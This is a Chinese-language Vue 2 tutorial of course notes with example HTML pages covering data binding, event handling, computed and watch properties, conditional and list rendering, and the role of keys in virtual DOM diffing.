官網網址Vue2? 安裝 — Vue.js
搭建環境
第一種方式(剛開是接觸Vue)
我們看官網,可以直接在script引入vue版本。這里有兩個版本,開發版和生產版本。我們兩個都下載。
然后創建一個項目,將下載的生產版本和開發版本粘貼進去。
在創建的初識vue中引入生產版
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>初識Vue</title><!-- 引入Vue --><script type="text/javascript" src="./js/vue.js"></script></head><body></body>
</html>
然后打開瀏覽器,會出現兩個小提示。
如果想關掉小提示,我們可以去看學習下面的api,里面的全局配置。
然后禁用他,啟動的時候就不顯示啟動提示了。
初識
lived server
我們先安裝vscode的一個插件 lived server,他會自動將我們的文件部署在一個5500的服務器,他會自動將我們的最高級的目錄作為根目錄。也就是vue_basic.
我們可以在根目錄下面放一張ico圖片來作為瀏覽器的圖標,他會自動訪問5500下的faviicon.ico這張圖片作為瀏覽器的圖標。
Vue實例
有幾個注意的點
1 引入值的插值語法后面會講,暫時記住{{}}
2 el
屬性用于指定 Vue 實例掛載的 DOM 元素。
3.想讓Vue工作,就必須創建一個Vue實例,且要傳入一個配置對象;
4.root容器里的代碼依然符合html規范,只不過混入了一些特殊的Vue語法;
5.root容器里的代碼被稱為【Vue模板】;
6.Vue實例和容器是一一對應的;
7.真實開發中只有一個Vue實例,并且會配合著組件一起使用;
8.{{xxx}}中的xxx要寫js表達式!!!!且xxx可以自動讀取到data中的所有屬性;
9.一旦data中的數據發生改變,那么頁面中用到該數據的地方也會自動更新;
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>初識Vue</title><!-- 引入Vue --><script type="text/javascript" src="./js/vue.js"></script>
</head><body><div id="root"><h1>{{name}}真帥</h1></div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el: '#root',data: {name: 'cjx'}})</script></body></html>
js表達式 和 js代碼(語句)
?注意區分:js表達式 和 js代碼(語句)
1.表達式:一個表達式會產生一個值,可以放在任何一個需要值的地方:
? ?(1). a
? ?(2). a+b
? ?(3). demo(1)
? ?(4). x === y ? 'a' : 'b'
2.js代碼(語句)
? ?(1). if(){}
? ?(2). for(){}
Vue模板語法?
Vue模板語法有2大類:
1.插值語法:
功能:用于解析標簽體內容。
寫法:{{xxx}},xxx是js表達式,且可以直接讀取到data中的所有屬性。
2.指令語法:
功能:用于解析標簽(包括:標簽屬性、標簽體內容、綁定事件.....)。
舉例:v-bind:href="xxx" 或 ?簡寫為 :href="xxx",xxx同樣要寫js表達式,?且可以直接讀取到data中的所有屬性。
備注:Vue中有很多的指令,且形式都是:v-????,此處我們只是拿v-bind舉個例子。
例子
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>模板語法</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body>--><!-- 準備好一個容器--><div id="root"><h1>插值語法</h1><h3>你好,{{name}}</h3><hr /><h1>指令語法</h1><a v-bind:href="school.url.toUpperCase()" x="hello">點我去{{school.name}}學習1</a><a :href="school.url" x="hello">點我去{{school.name}}學習2</a></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el: '#root',data: {name: 'jack',school: {name: '尚硅谷',url: 'http://www.atguigu.com',}}})
</script></html>
數據綁定(v-model v-bind)
講解:
Vue中有2種數據綁定的方式:
1.單向綁定(v-bind):數據只能從data流向頁面。
2.雙向綁定(v-model):數據不僅能從data流向頁面,還可以從頁面流向data。
備注:
1.雙向綁定一般都應用在表單類元素上(如:input、select等)
2.v-model:value 可以簡寫為 v-model,因為v-model默認收集的就是value值。
例子
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>數據綁定</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><!-- 普通寫法 --><!-- 單向數據綁定:<input type="text" v-bind:value="name"><br/>雙向數據綁定:<input type="text" v-model:value="name"><br/> --><!-- 簡寫 -->單向數據綁定:<input type="text" :value="name"><br/>雙向數據綁定:<input type="text" v-model="name"><br/><!-- 如下代碼是錯誤的,因為v-model只能應用在表單類元素(輸入類元素)上 --><!-- <h2 v-model:x="name">你好啊</h2> --></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>
v-model
這個指令要注意一下幾點
若:<input type="text"/>,則v-model收集的是value值,用戶輸入的就是value值。
若:<input type="radio"/>,則v-model收集的是value值,且要給標簽配置value值。
若:<input type="checkbox"/>
????????1.沒有配置input的value屬性,那么收集的就是checked(勾選 or 未勾選,是布爾值)
????????2.配置input的value屬性:
????????????????(1)v-model的初始值是非數組,那么收集的就是checked(勾選 or 未勾選,是布爾值)
????????????????(2)v-model的初始值是數組,那么收集的的就是value組成的數組
備注:v-model的三個修飾符:
azy:失去焦點再收集數據
number:輸入字符串轉為有效的數字
trim:輸入首尾空格過濾
實例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>收集表單數據</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><form @submit.prevent="demo">賬號:<input type="text" v-model.trim="userInfo.account"> <br/><br/>密碼:<input type="password" v-model="userInfo.password"> <br/><br/>年齡:<input type="number" v-model.number="userInfo.age"> <br/><br/>性別:男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>愛好:學習<input type="checkbox" v-model="userInfo.hobby" value="study">打游戲<input type="checkbox" v-model="userInfo.hobby" value="game">吃飯<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>所屬校區<select v-model="userInfo.city"><option value="">請選擇校區</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武漢</option></select><br/><br/>其他信息:<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/><input type="checkbox" v-model="userInfo.agree">閱讀并接受<a href="http://www.atguigu.com">《用戶協議》</a><button>提交</button></form></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{userInfo:{account:'',password:'',age:18,sex:'female',hobby:[],city:'beijing',other:'',agree:''}},methods: {demo(){console.log(JSON.stringify(this.userInfo))}}})</script>
</html>
效果
el和data的兩種寫法
1.el有2種寫法
(1).new Vue時候配置el屬性。
(2).先創建Vue實例,隨后再通過vm.$mount('#root')指定el的值。
2.data有2種寫法
(1).對象式
(2).函數式
3.一個重要的原則:由Vue管理的函數,一定不要寫箭頭函數,一旦寫了箭頭函數,this就不再是Vue實例了。
例子
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>el與data的兩種寫法</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h1>你好,{{name}}</h1></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。//el的兩種寫法/* const v = new Vue({//el:'#root', //第一種寫法data:{name:'尚硅谷'}})console.log(v)v.$mount('#root') //第二種寫法 *///data的兩種寫法new Vue({el:'#root',//data的第一種寫法:對象式/* data:{name:'尚硅谷'} *///data的第二種寫法:函數式data(){console.log('@@@',this) //此處的this是Vue實例對象return{name:'尚硅谷'}}})</script>
</html>
MVVM模型
MVVM模型
1. M:模型(Model) :data中的數據
2. V:視圖(View) :模板代碼
3. VM:視圖模型(ViewModel):Vue實例,以后Vue實例都說為vm,也就是vm的由來
觀察發現:
1.data中所有的屬性,最后都出現在了vm身上。
2.vm身上所有的屬性 及 Vue原型上所有屬性,在Vue模板中都可以直接使用。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>理解MVVM</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h1>學校名稱:{{name}}</h1><h1>學校地址:{{address}}</h1><!-- <h1>測試一下1:{{1+1}}</h1><h1>測試一下2:{{$options}}</h1><h1>測試一下3:{{$emit}}</h1><h1>測試一下4:{{_c}}</h1> --></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el:'#root',data:{name:'尚硅谷',address:'北京',}})console.log(vm)</script>
</html>
vm中的屬性
也就是說,我們再明確一下插值語法中可用到的東西,只要是vm及原型上有的都可以用到。
我們看上面的代碼里面的vm實例。里面已“$”開頭的屬性是Vue給予程序員使用的,“_"開頭的是我們不能用的,是Vue自己用的,是原生的
我們在data中定義的數據也在vm上。數據代理我們會詳細講。
數據代理
Object.defineproperty
Object.defineProperty
是 JavaScript 中的一個方法,用于直接在一個對象上定義一個新屬性,或者修改一個對象的現有屬性,并返回該對象。它的語法如下:
Object.defineProperty(obj, prop, descriptor)
-
obj
:要在其上定義屬性的對象。 -
prop
:要定義或修改的屬性的名稱。 -
descriptor
:將被定義或修改的屬性描述符。
作用
-
定義新屬性:可以為對象添加一個新屬性,并指定該屬性的特性(如是否可讀、可寫、可枚舉等)。
-
修改現有屬性:可以修改對象中已存在的屬性的特性。
屬性描述符
屬性描述符有兩種類型:
-
數據描述符:描述一個具有值的屬性,包括以下鍵值:
-
value
:屬性的值,默認為undefined
。 -
writable
:布爾值,表示屬性值是否可以被改變,默認為false
。 -
enumerable
:布爾值,表示屬性是否可枚舉(即是否可以通過for...in
循環或Object.keys()
等方法被遍歷到),默認為false
。 -
configurable
:布爾值,表示屬性是否可以被刪除或修改其描述符(除了value
和writable
),默認為false
。
-
-
訪問器描述符:描述一個通過 getter 和 setter 方法訪問的屬性,包括以下鍵值:
-
get
:一個函數,當訪問該屬性時被調用,返回值作為屬性值。 -
set
:一個函數,當設置該屬性值時被調用,接收一個參數作為新值。 -
enumerable
和configurable
的含義與數據描述符相同。
-
一個對象的屬性不能同時是數據描述符和訪問器描述符,必須選擇其中一種。
示例
定義新屬性
let obj = {};
Object.defineProperty(obj, "name", {value: "Kimi",writable: false,enumerable: true,configurable: false
});
console.log(obj.name); // 輸出:Kimi
obj.name = "Moonshot"; // 不會改變,因為 writable 為 false
console.log(obj.name); // 輸出:Kimi
修改現有屬性
let obj = { name: "Kimi" };
Object.defineProperty(obj, "name", {writable: false
});
obj.name = "Moonshot"; // 不會改變,因為 writable 已被設置為 false
console.log(obj.name); // 輸出:Kimi
getter setter
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>回顧Object.defineproperty方法</title></head><body><script type="text/javascript" >let number = 18let person = {name:'張三',sex:'男',}Object.defineProperty(person,'age',{//當有人讀取person的age屬性時,get函數(getter)就會被調用,且返回值就是age的值get(){console.log('有人讀取age屬性了')return number},//當有人修改person的age屬性時,set函數(setter)就會被調用,且會收到修改的具體值set(value){console.log('有人修改了age屬性,且值是',value)number = value}})// console.log(Object.keys(person))console.log(person)</script></body>
</html>
數據代理
數據代理:通過一個對象代理對另一個對象中屬性的操作(讀/寫)
在下面實例中,定義了兩個對象,并通過defineProperty方法為obj2添加了一個屬性,并為這個x屬性添加getter setter方法。
這個例子,就是通過obj2的x代理obj中x,實現通過一個對象代理對另一個對象中屬性的操作(讀/V寫)。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>何為數據代理</title></head><body><script type="text/javascript" >let obj = {x:100}let obj2 = {y:200}Object.defineProperty(obj2,'x',{get(){return obj.x},set(value){obj.x = value}})</script></body>
</html>
Vue的數據代理
1.Vue中的數據代理:通過vm對象來代理data對象中屬性的操作(讀/寫)
2.Vue中數據代理的好處:更加方便的操作data中的數據
3.基本原理:通過Object.defineProperty()把data對象中所有屬性添加到vm上。
?????????????????????為每一個添加到vm上的屬性,都指定一個getter/setter。
?????????????????????在getter/setter內部去操作(讀/寫)data中對應的屬性。
例子
可以看看下面的代碼,進入F12去看Vue實例里面有什么
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>Vue中的數據代理</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2>學校名稱:{{name}}</h2><h2>學校地址:{{address}}</h2></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el:'#root',data:{name:'尚硅谷',address:'宏福科技園'}})</script>
</html>
vm代理對象
我們可以看到vm對象來代理data對象中屬性的操作(讀/寫),我們定義的address和name也在vm中管理。
address和name也使用了getter和setter,當我們展開省略號去看值的時候實際上是調用兩address的getter方法
事件處理
事件的基本使用(v-on)
事件的基本使用:
1.使用v-on:xxx 或 @xxx 綁定事件,其中xxx是事件名;
2.事件的回調需要配置在methods對象中,最終會在vm上;
3.methods中配置的函數,不要用箭頭函數!否則this就不是vm了;
4.methods中配置的函數,都是被Vue所管理的函數,this的指向是vm 或 組件實例對象;
5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以傳參;并且,如果想要傳參傳事件本身,用$event傳。
實戰:
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>事件的基本使用</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2>歡迎來到{{name}}學習</h2><!-- <button v-on:click="showInfo">點我提示信息</button> --><button @click="showInfo1">點我提示信息1(不傳參)</button><button @click="showInfo2($event,66)">點我提示信息2(傳參)</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el:'#root',data:{name:'尚硅谷',},methods:{showInfo1(event){// console.log(event.target.innerText)// console.log(this) //此處的this是vmalert('同學你好!')},showInfo2(event,number){console.log(event,number)// console.log(event.target.innerText)// console.log(this) //此處的this是vmalert('同學你好!!')}}})</script>
</html>
注意!!!
methods里面不做數據代理,只有data里面會默認做數據代理!!!
事件修飾符
Vue中的事件修飾符:
1.prevent:阻止默認事件(常用);
2.stop:阻止事件冒泡(常用);
3.once:事件只觸發一次(常用);
4.capture:使用事件的捕獲模式;允許綁定了捕獲機制的元素的方法先執行
5.self:只有event.target是當前操作的元素時才觸發事件;
6.passive:事件的默認行為立即執行,無需等待事件回調執行完畢;
還有一點就是,修飾符號可以連著寫,可以同時實現多個修飾符的功能。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>事件修飾符</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script><style>*{margin-top: 20px;}.demo1{height: 50px;background-color: skyblue;}.box1{padding: 5px;background-color: skyblue;}.box2{padding: 5px;background-color: orange;}.list{width: 200px;height: 200px;background-color: peru;overflow: auto;}li{height: 100px;}</style></head><body><!-- 準備好一個容器--><div id="root"><h2>歡迎來到{{name}}學習</h2><!-- 阻止默認事件(常用) --><a href="http://www.atguigu.com" @click.prevent="showInfo">點我提示信息</a><!-- 阻止事件冒泡(常用) --><div class="demo1" @click="showInfo"><button @click.stop="showInfo">點我提示信息</button><!-- 修飾符可以連續寫 --><!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">點我提示信息</a> --></div><!-- 事件只觸發一次(常用) --><button @click.once="showInfo">點我提示信息</button><!-- 使用事件的捕獲模式 --><div class="box1" @click.capture="showMsg(1)">div1<div class="box2" @click="showMsg(2)">div2</div></div><!-- 只有event.target是當前操作的元素時才觸發事件; --><div class="demo1" @click.self="showInfo"><button @click="showInfo">點我提示信息</button></div><!-- 事件的默認行為立即執行,無需等待事件回調執行完畢; --><ul @wheel.passive="demo" class="list"><li>1</li><li>2</li><li>3</li><li>4</li></ul></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。new Vue({el:'#root',data:{name:'尚硅谷'},methods:{showInfo(e){alert('同學你好!')// console.log(e.target)},showMsg(msg){console.log(msg)},demo(){for (let i = 0; i < 100000; i++) {console.log('#')}console.log('累壞了')}}})</script>
</html>
鍵盤事件
1. 常用按鍵別名
Vue 提供了一些常用的按鍵別名,可以直接使用這些別名來綁定事件處理器。以下是一些常見的按鍵別名:
其中,tab因為他默認行為是將光標從當前的元素上轉換,并且tab按下就會出發,所以keyup對其失效。
按鍵別名 | 對應按鍵 |
---|---|
enter | 回車鍵 |
delete | 刪除鍵(包括“刪除”和“退格”鍵) |
esc | 退出鍵 |
space | 空格鍵 |
tab | 換行鍵(必須配合 keydown 使用) |
up | 上箭頭鍵 |
down | 下箭頭鍵 |
left | 左箭頭鍵 |
right | 右箭頭鍵 |
2. 語法
Vue 中可以使用 v-on
或 @
來綁定鍵盤事件。以下是常見的語法:
綁定 keyup
事件:
<input v-on:keyup.enter="handleEnter" />
<input @keyup.enter="handleEnter" />
綁定 keydown
事件:(一般都用這個)
<input v-on:keydown.delete="handleDelete" />
<input @keydown.delete="handleDelete" />
3. 未提供別名的按鍵
對于 Vue 未提供別名的按鍵,可以使用按鍵原始的 key
值去綁定,但需要注意將 key
值轉換為 kebab-case(短橫線命名)。
例如,綁定 F1
鍵(key
值為 "F1"
):
<input @keydown.f1="handleF1" />
4. 系統修飾鍵
Vue 提供了 ctrl
、alt
、shift
和 meta
等系統修飾鍵的別名。這些修飾鍵的用法如下:
配合 keyup
使用: 按下修飾鍵的同時,再按下其他鍵,隨后釋放其他鍵,事件才被觸發。
<input @keyup.ctrl="handleCtrlEnter" />
配合 keydown
使用: 正常觸發事件。
<input @keydown.ctrl="handleCtrlEnter" />
5. 使用 keyCode
雖然 Vue 推薦使用按鍵別名,但也可以使用 keyCode
去指定具體的按鍵(不推薦,因為 keyCode
已被廢棄)。
例如,綁定 F1
鍵(keyCode
為 112
):
<input @keydown="handleKeydown" />
methods: {handleKeydown(event) {if (event.keyCode === 112) {this.handleF1();}}
}
6. 自定義按鍵別名
可以通過 Vue.config.keyCodes
自定義按鍵別名。
計算屬性
完整寫法
就是拿著已經得到的屬性去進行加工 去計算 得到一個新的屬性 這就是計算屬性
1.定義:要用的屬性不存在,要通過已有屬性計算得來。
2.原理:底層借助了Objcet.defineproperty方法提供的getter和setter。
3.get函數什么時候執行?
????????(1).初次讀取時會執行一次。
????????(2).當依賴的數據發生改變時會被再次調用。
4.優勢:與methods實現相比,內部有緩存機制(復用),效率更高,調試方便。
5.備注:
????????1.計算屬性最終會出現在vm上,直接讀取使用即可。
????????2.如果計算屬性要被修改,那必須寫set函數去響應修改,且set中要引起計算時依賴的數據發生改變。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>姓名案例_計算屬性實現</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root">姓:<input type="text" v-model="firstName"> <br/><br/>名:<input type="text" v-model="lastName"> <br/><br/>測試:<input type="text" v-model="x"> <br/><br/>全名:<span>{{fullName}}</span> <br/><br/><!-- 全名:<span>{{fullName}}</span> <br/><br/>全名:<span>{{fullName}}</span> <br/><br/>全名:<span>{{fullName}}</span> --></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el:'#root',data:{firstName:'張',lastName:'三',},methods: {},computed:{fullName:{get(){console.log('get被調用了')// console.log(this) //此處的this是vmreturn this.firstName + '-' + this.lastName},//set什么時候調用? 當fullName被修改時。set(value){console.log('set',value)const arr = value.split('-')this.firstName = arr[0]this.lastName = arr[1]}}}})</script>
</html>
簡寫
簡寫的時候。默認是沒有setter方法的,只有getter方法。所以函數是給vm調用用來計算fullName屬性的。
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>姓名案例_計算屬性實現</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root">姓:<input type="text" v-model="firstName"> <br/><br/>名:<input type="text" v-model="lastName"> <br/><br/>全名:<span>{{fullName}}</span> <br/><br/></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el:'#root',data:{firstName:'張',lastName:'三',},computed:{//完整寫法/* fullName:{get(){console.log('get被調用了')return this.firstName + '-' + this.lastName},set(value){console.log('set',value)const arr = value.split('-')this.firstName = arr[0]this.lastName = arr[1]}} *///簡寫fullName(){console.log('get被調用了')return this.firstName + '-' + this.lastName}}})</script>
</html>
監視屬性
原始完整實現
監視屬性watch:
1.當被監視的屬性變化時, 回調函數自動調用, 進行相關操作
2.監視的屬性必須存在,才能進行監視!!
3.監視的兩種寫法:
????????(1).new Vue時傳入watch配置
????????(2).通過vm.$watch監視
watch配置1:immediate=true 代表 初始化時讓handler調用一下
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天氣案例_監視屬性</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2>今天天氣很{{info}}</h2><button @click="changeWeather">切換天氣</button></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el:'#root',data:{isHot:true,},computed:{info(){return this.isHot ? '炎熱' : '涼爽'}},methods: {changeWeather(){this.isHot = !this.isHot}},/* watch:{isHot:{immediate:true, //初始化時讓handler調用一下//handler什么時候調用?當isHot發生改變時。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}}} */})vm.$watch('isHot',{immediate:true, //初始化時讓handler調用一下//handler什么時候調用?當isHot發生改變時。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}})</script>
</html>
深度監視
深度監視:
????????(1).Vue中的watch默認不監測對象內部值的改變(一層)。
????????(2).配置deep:true可以監測對象內部值改變(多層)。
備注:
????????(1).Vue自身可以監測對象內部值的改變,但Vue提供的watch默認不可以!
????????(2).使用watch時根據數據的具體結構,決定是否采用深度監視。
watch配置2:eep:true可以監測對象內部值改變(多層)
可以監視里面的一個元素,也可以監視里面的所有元素
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天氣案例_深度監視</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2>今天天氣很{{info}}</h2><button @click="changeWeather">切換天氣</button><hr/><h3>a的值是:{{numbers.a}}</h3><button @click="numbers.a++">點我讓a+1</button><h3>b的值是:{{numbers.b}}</h3><button @click="numbers.b++">點我讓b+1</button><button @click="numbers = {a:666,b:888}">徹底替換掉numbers</button>{{numbers.c.d.e}}</div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el:'#root',data:{isHot:true,numbers:{a:1,b:1,c:{d:{e:100}}}},computed:{info(){return this.isHot ? '炎熱' : '涼爽'}},methods: {changeWeather(){this.isHot = !this.isHot}},watch:{isHot:{// immediate:true, //初始化時讓handler調用一下//handler什么時候調用?當isHot發生改變時。handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}},//監視多級結構中某個屬性的變化/* 'numbers.a':{handler(){console.log('a被改變了')}} *///監視多級結構中所有屬性的變化numbers:{deep:true,handler(){console.log('numbers改變了')}}}})</script>
</html>
監視簡寫
語法:
new Vue({data: {count: 0},watch: {count(newVal, oldVal) {console.log(`Count changed from ${oldVal} to ${newVal}`);}}
});
具體案例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>天氣案例_監視屬性_簡寫</title><!-- 引入Vue --><script type="text/javascript" src="../js/vue.js"></script>
</head><body><!-- 準備好一個容器--><div id="root"><h2>今天天氣很{{info}}</h2><button @click="changeWeather">切換天氣</button></div>
</body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。const vm = new Vue({el: '#root',data: {isHot: true,},computed: {info() {return this.isHot ? '炎熱' : '涼爽'}},methods: {changeWeather() {this.isHot = !this.isHot}},watch: {//正常寫法/* isHot:{// immediate:true, //初始化時讓handler調用一下// deep:true,//深度監視handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}}, *///簡寫isHot(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue,this)} }})//正常寫法/* vm.$watch('isHot',{immediate:true, //初始化時讓handler調用一下deep:true,//深度監視handler(newValue,oldValue){console.log('isHot被修改了',newValue,oldValue)}}) *///簡寫// vm.$watch('isHot', (newValue, oldValue) => {// console.log('isHot被修改了', newValue, oldValue, this)// })
</script></html>
效果:
條件渲染(v-if和v-show)
教學
在 Vue.js 中,v-if
和 v-show
都是用于控制元素的顯示和隱藏的指令,但它們在實現方式和性能表現上有一些區別。以下是它們的詳細介紹和對比。
1. v-if
作用
v-if
是一個動態指令,用于條件性地渲染一塊內容。它根據表達式的真假值來決定是否渲染對應的元素。
語法
<div v-if="isVisible">This will be rendered if isVisible is true.</div>
特點
-
動態渲染:當表達式的值為
false
時,對應的元素不會被渲染到 DOM 中。 -
性能開銷:由于
v-if
會根據條件動態地創建或銷毀元素,因此在切換時會有一定的性能開銷。 -
適合場景:當條件很少改變時,使用
v-if
更合適,因為它可以減少不必要的 DOM 操作。
2. v-show
作用
v-show
也是一個動態指令,用于條件性地顯示或隱藏元素。它通過設置元素的 CSS 屬性 display
來控制顯示和隱藏。
語法
<div v-show="isVisible">This will be shown or hidden based on isVisible.</div>
特點
-
CSS 控制:
v-show
只是簡單地切換元素的display
屬性,不會影響 DOM 的結構。 -
性能優勢:由于
v-show
不會創建或銷毀元素,因此在頻繁切換時性能更好。 -
適合場景:當需要頻繁切換元素的顯示和隱藏時,使用
v-show
更合適。
3. v-if
和 v-show
的對比
特性 | v-if | v-show |
---|---|---|
渲染方式 | 動態渲染,根據條件決定是否渲染到 DOM | 始終渲染到 DOM,通過 CSS 的 display 屬性控制顯示和隱藏 |
性能開銷 | 切換時有性能開銷,因為需要創建或銷毀元素 | 切換時性能更好,因為只是切換 CSS 屬性 |
適合場景 | 條件很少改變,不需要頻繁切換顯示和隱藏 | 需要頻繁切換顯示和隱藏 |
初始渲染 | 如果初始值為 false ,則不會渲染到 DOM | 始終渲染到 DOM,初始值為 false 時會隱藏 |
4. v-if擴展
同時還有?
(1).v-if="表達式"
(2).v-else-if="表達式"
(3).v-else="表達式"
注意:v-if可以和:v-else-if、v-else一起使用,但要求結構不能被“打斷”,就是說if和elseif或者else中間不能出現其他東西,if的語句必須連在一起。
案例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>條件渲染</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><h2>當前的n值是:{{n}}</h2><button @click="n++">點我n+1</button><!-- 使用v-show做條件渲染 --><!-- <h2 v-show="false">歡迎來到{{name}}</h2> --><!-- <h2 v-show="1 === 1">歡迎來到{{name}}</h2> --><!-- 使用v-if做條件渲染 --><!-- <h2 v-if="false">歡迎來到{{name}}</h2> --><!-- <h2 v-if="1 === 1">歡迎來到{{name}}</h2> --><!-- v-else和v-else-if --><!-- <div v-if="n === 1">Angular</div><div v-else-if="n === 2">React</div><div v-else-if="n === 3">Vue</div><div v-else>哈哈</div> --><!-- v-if與template的配合使用 --><template v-if="n === 1"><h2>你好</h2><h2>尚硅谷</h2><h2>北京</h2></template></div></body><script type="text/javascript">Vue.config.productionTip = falseconst vm = new Vue({el:'#root',data:{name:'尚硅谷',n:0}})</script>
</html>
列表渲染
基本列表
v-for指令:
1.用于展示列表數據
2.語法:v-for="(item, index) in xxx" :key="yyy"
3.可遍歷:數組、對象、字符串(用的很少)、指定次數(用的很少)
案例
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>基本列表</title><script type="text/javascript" src="../js/vue.js"></script></head><body><!-- 準備好一個容器--><div id="root"><!-- 遍歷數組 --><h2>人員列表(遍歷數組)</h2><ul><li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}</li></ul><!-- 遍歷對象 --><h2>汽車信息(遍歷對象)</h2><ul><li v-for="(value,k) of car" :key="k">{{k}}-{{value}}</li></ul><!-- 遍歷字符串 --><h2>測試遍歷字符串(用得少)</h2><ul><li v-for="(char,index) of str" :key="index">{{char}}-{{index}}</li></ul><!-- 遍歷指定次數 --><h2>測試遍歷指定次數(用得少)</h2><ul><li v-for="(number,index) of 5" :key="index">{{index}}-{{number}}</li></ul></div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{persons:[{id:'001',name:'張三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}],car:{name:'奧迪A8',price:'70萬',color:'黑色'},str:'hello'}})</script>
</html>
效果:
key原理
1. 虛擬DOM中key的作用:
key是虛擬DOM對象的標識,當數據發生變化時,Vue會根據【新數據】生成【新的虛擬DOM】,
隨后Vue進行【新虛擬DOM】與【舊虛擬DOM】的差異比較,比較規則如下:
2.對比規則:
(1).舊虛擬DOM中找到了與新虛擬DOM相同的key:
????????①.若虛擬DOM中內容沒變, 直接使用之前的真實DOM!
????????②.若虛擬DOM中內容變了, 則生成新的真實DOM,隨后替換掉頁面中之前的真實DOM。
(2).舊虛擬DOM中未找到與新虛擬DOM相同的key創建新的真實DOM,隨后渲染到到頁面。
3. 用index作為key可能會引發的問題:
????????1. 若對數據進行:逆序添加、逆序刪除等破壞順序操作:
????????????????會產生沒有必要的真實DOM更新 ==> 界面效果沒問題, 但效率低。
????????2. 如果結構中還包含輸入類的DOM:
? ? ? ? ????????會產生錯誤DOM更新 ==> 界面有問題。
4. 開發中如何選擇key?:
????????1.最好使用每條數據的唯一標識作為key, 比如id、手機號、身份證號、學號等唯一值。
????????2.如果不存在對數據的逆序添加、逆序刪除等破壞順序操作,僅用于渲染列表用于展示用index作為key是沒有問題的。
使用index的圖解
1. 初始數據和虛擬 DOM
-
初始數據:包含多個對象的數組,每個對象都有
id
、name
和age
屬性。 -
虛擬 DOM 生成:Vue 根據初始數據先生成虛擬 DOM(Vnodes),每個列表項的
key
是其在數組中的索引。
2. 新數據和虛擬 DOM
-
新數據:新數據中插入了一個新元素(
老劉
) -
新虛擬 DOM 生成:Vue 根據新數據生成新的虛擬 DOM,每個列表項的
key
仍然是其在數組中的索引。
